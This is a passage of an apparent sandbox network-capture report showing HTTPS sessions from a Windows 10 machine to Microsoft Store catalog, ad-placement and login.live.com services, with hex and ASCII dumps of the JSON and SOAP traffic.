3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 50 36 52 43 37 36 4d 53 4d 4d 4a 22 2c 22 57 75 42 75 6e 64 6c 65 49 
64 22 3a 22 38 35 34 33 39 36 37 32 2d 34 34 37 62 2d 34 63 31 
Data Ascii: l\":52,\"systemId\":12},{\"level\":30,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":72,\"systemId\":15},{\
"level\":67,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9P6RC76MSMMJ","WuB
undleId":"85439672-447b-4c1

2021-11-25 16:28:39 UTC 1496 IN Data Raw: 22 3a 5b 22 62 69 67 3a 39 50 36 52 43 37 36 4d 53 4d 4d 4a 3a 30 30 30 32 22 5d 2c 22 4c 69 63 65 6e 73 69 
6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 5d 7d 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 
64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 
4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 2
2 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 
52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 
43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 
Data Ascii: ":["big:9P6RC76MSMMJ:0002"],"LicensingKeyIds":["1"]}]},"Markets":["US"],"OrderManagementData":{"Gr
antedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxTyp
e":"","WholesaleCurrencyCode":""}},"Properties"

2021-11-25 16:28:39 UTC 1500 IN Data Raw: 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 
6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 
62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 
4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c
22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 
61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 38 31 2c 5c 22 73 79 73 74 
Data Ascii: :{\"category.first\":\"app\",\"category.second\":\"Entertainment\",\"optOut.backupRestore\":true,\"optOut.re
moveableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},
{\"level\":81,\"syst

2021-11-25 16:28:39 UTC 1503 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data
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Session ID Source IP Source Port Destination IP Destination Port Process

36 192.168.2.4 49839 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:39 UTC 1471 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFHWD2&skuId=0010&installKind
=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=202111
25T162812Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:39 UTC 1472 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e1326d39-e860-4674-9055-2237a543df10
Date: Thu, 25 Nov 2021 16:28:39 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

37 192.168.2.4 49840 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:40 UTC 1503 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&c
tid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162813Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:40 UTC 1504 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 56fcc132-78d5-49a8-8b10-348e6fceb6f5
Date: Thu, 25 Nov 2021 16:28:39 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

38 192.168.2.4 49841 20.54.110.249 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:40 UTC 1504 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=SpotifyAB.SpotifyMusic_zpdnekdrzrea0&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: EqEDMZNLU0OvkRwR.0.2.4
Host: displaycatalog.mp.microsoft.com

2021-11-25 16:28:40 UTC 1504 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Nov 2021 16:28:40 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 864a6469-92b7-45fa-aaa7-6508325fa9c2
MS-RequestId: 901eef36-7226-49a6-bdef-fb4e45e81f4d
MS-CV: EqEDMZNLU0OvkRwR.0.2.4.2955977681.0.1.2955977681.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 7
Region: neu
Node: aks-systempool-37630073-vmss00000s
MS-DocumentVersions: 9NCBCSZSJRSB|3683
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2021-11-25 16:28:40 UTC 1505 IN Data Raw: 37 34 37 66 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 5d 2c 22 48 61 
73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 
66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 31 2d 32 33 54 31 39 3a 30 31 3a 30 33 2e 31 30 31 38 37 37 37 5a 
22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 
5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 33 30 32 30 30 32 31 34 34 39 36 39 34 
36 31 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 7
2 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c 
Data Ascii: 747f{"BigIds":["9NCBCSZSJRSB"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2021-11-23T19
:01:03.1018777Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3043020021449694613","EISListingIdentifier
":null,"BackgroundColor":"#1ed760",

2021-11-25 16:28:40 UTC 1508 IN Data Raw: 36 34 39 34 38 30 2e 32 64 31 31 39 33 31 61 2d 33 66 63 64 2d 34 34 62 31 2d 39 37 33 63 2d 38 32 31 37 
31 39 63 33 34 36 66 30 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 39 38 31 
38 36 36 32 33 34 33 32 35 30 38 37 38 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 
75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c 22 43 61 70 74 69 6f 6e 2
2 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 31 39 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 
6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3
a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 
Data Ascii: 649480.2d11931a-3fcd-44b1-973c-821719c346f0","Width":66},{"FileId":"3009818662343250878","EISListi
ngIdentifier":null,"BackgroundColor":"#1ed760","Caption":"","FileSizeInBytes":1219,"ForegroundColor":"","Height":88,"Ima
gePositionInfo":"","ImagePurpose":"Ti

2021-11-25 16:28:40 UTC 1512 IN Data Raw: 6e 42 79 74 65 73 22 3a 35 34 35 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 
65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 
50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 
68 22 3a 22 6d 64 48 62 5a 62 39 50 72 37 6c 79 6a 6f 62 63 79 4f 68 6c 79 55 63 2b 69 5a 75 62 52 6f 58 71 70 6f 6a 30 
2b 32 66 2b 6b 4c 49 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 
6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 35 33 36 35 37 2e 31 33 35 37 31 34 39 38 38 32 36 38 35 37 32 
30 31 2e 30 30 61 39 64 33 39 30 2d 35 38 31 66 2d 34 39 32 
Data Ascii: nBytes":5451,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","Unsca
ledImageSHA256Hash":"mdHbZb9Pr7lyjobcyOhlyUc+iZubRoXqpoj0+2f+kLI=","Uri":"//store-images.s-microsoft.com/image
/apps.53657.13571498826857201.00a9d390-581f-492

2021-11-25 16:28:40 UTC 1516 IN Data Raw: 74 22 7d 5d 2c 22 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 75 73 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 
55 53 22 2c 22 44 5a 22 2c 22 41 52 22 2c 22 41 55 22 2c 22 41 54 22 2c 22 42 48 22 2c 22 42 44 22 2c 22 42 45 22 2c 
22 42 52 22 2c 22 42 47 22 2c 22 43 41 22 2c 22 43 4c 22 2c 22 43 4e 22 2c 22 43 4f 22 2c 22 43 52 22 2c 22 48 52 22 2c 
22 43 59 22 2c 22 43 5a 22 2c 22 44 4b 22 2c 22 45 47 22 2c 22 45 45 22 2c 22 46 49 22 2c 22 46 52 22 2c 22 44 45 22 
2c 22 47 52 22 2c 22 47 54 22 2c 22 48 4b 22 2c 22 48 55 22 2c 22 49 53 22 2c 22 49 4e 22 2c 22 49 44 22 2c 22 49 51 2
2 2c 22 49 45 22 2c 22 49 4c 22 2c 22 49 54 22 2c 22 4a 50 22 2c 22 4a 4f 22 2c 22 4b 5a 22 2c 22 4b 45 22 2c 22 4b 57 2
2 2c 22 4c 56 22 2c 22 4c 42 22 2c 22 4c 49 22 2c 22 4c 54 22 2c 
Data Ascii: t"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN
","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO
","KZ","KE","KW","LV","LB","LI","LT",

2021-11-25 16:28:40 UTC 1520 IN Data Raw: 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 
22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 
2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 
22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4
b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 
49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 
57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 
Data Ascii: ,"GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A
Z","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","L
S","LR","MO","MK","MG","MW","IM","MH","MQ","MU"

2021-11-25 16:28:40 UTC 1524 IN Data Raw: 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 
37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 
69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 
30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 
22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 
30 30 30 30 30 30 5a 22 2c 22 45 6c 69 67 69 62 69 6c 69 74 79 50 72 65 64 69 63 61 74 65 49 64 73 22 3a 5b 22 43 61 
6e 6e 6f 74 53 65 65 6e 42 79 43 68 69 6e 61 43 6c 69 65 6e 74 22 5d 
Data Ascii: "Windows.Desktop"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.8828080"}]},"En
dDate":"9998-12-30T00:00:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z","Eligi
bilityPredicateIds":["CannotSeenByChinaClient"]

2021-11-25 16:28:40 UTC 1528 IN Data Raw: 22 56 45 22 2c 22 41 46 22 2c 22 41 58 22 2c 22 41 4c 22 2c 22 41 53 22 2c 22 41 4f 22 2c 22 41 49 22 2c 22 
41 51 22 2c 22 41 47 22 2c 22 41 4d 22 2c 22 41 57 22 2c 22 42 4f 22 2c 22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 
42 56 22 2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 
4b 59 22 2c 22 43 46 22 2c 22 54 44 22 2c 22 54 4c 22 2c 22 44 4a 22 2c 22 44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 
53 56 22 2c 22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22 2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 
50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22
47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 
Data Ascii: "VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI
","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA
","GM","GE","GH","GI","GL","GD","GP","GU","GG",

2021-11-25 16:28:40 UTC 1532 IN Data Raw: 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 2c 7b 22 4d 61 78 
56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 
66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 
3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 
63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 
54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 45 6c 69 67 69 62 69 6c 69 74 79 50 72 65 64 69 63 61 7
4 65 49 64 73 22 3a 5b 22 43 61 6e 6e 6f 74 53 65 65 6e 42 79 43 
Data Ascii: atformName":"Windows.Desktop"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.882
8080"}]},"EndDate":"9998-12-30T00:00:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000
000Z","EligibilityPredicateIds":["CannotSeenByC

2021-11-25 16:28:40 UTC 1534 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data
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Session ID Source IP Source Port Destination IP Destination Port Process

39 192.168.2.4 49842 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:40 UTC 1534 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGH6J6VK&skuId=0010&installKind
=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=202111
25T162814Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:40 UTC 1535 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 24563642-5fc3-425b-ba55-1d8e3a9c8657
Date: Thu, 25 Nov 2021 16:28:40 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.4 49729 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:32 UTC 55 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2021-11-25 16:27:32 UTC 55 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:32 UTC 66 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:32 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 2896d823-197f-4fb6-9ce8-7615b32894be
PPServer: PPV: 30 H: BL02PF1FC860785 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:31 GMT
Connection: close
Content-Length: 2004

2021-11-25 16:27:32 UTC 67 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP Destination Port Process

40 192.168.2.4 49843 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:40 UTC 1535 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9P6RC76MSMMJ&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162815Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:40 UTC 1535 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: af5adce3-f33b-4fae-98b6-a94bf746aa70
Date: Thu, 25 Nov 2021 16:28:40 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

41 192.168.2.4 49844 20.54.110.249 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:40 UTC 1536 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.YourPhone_8wekyb3d8bbwe&mark
et=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: RGOfWx5ZAkaq+4Kw.0.2.4
Host: displaycatalog.mp.microsoft.com

2021-11-25 16:28:40 UTC 1537 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Nov 2021 16:28:40 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: c32f41a1-5341-463b-8d1b-e703e1044c96
MS-RequestId: b5357d0f-c906-43de-ba11-fb40a6ecd865
MS-CV: RGOfWx5ZAkaq+4Kw.0.2.4.2955977771.0.1.2955977771.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 86f44b-f7zkj
Region: neu
Node: aks-systempool-37630073-vmss00001l
MS-DocumentVersions: 9NMPJ99VJBWV|2844

2021-11-25 16:28:40 UTC 1537 IN Data Raw: 33 33 62 30 66 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 31 2d 31 39 54 30 31 3a 31 38 3a 30 33 2e 31 30 39 31 31 34 
30 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 38 35 39 33 32 31 39 30 35 36 30 
35 33 33 38 32 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 
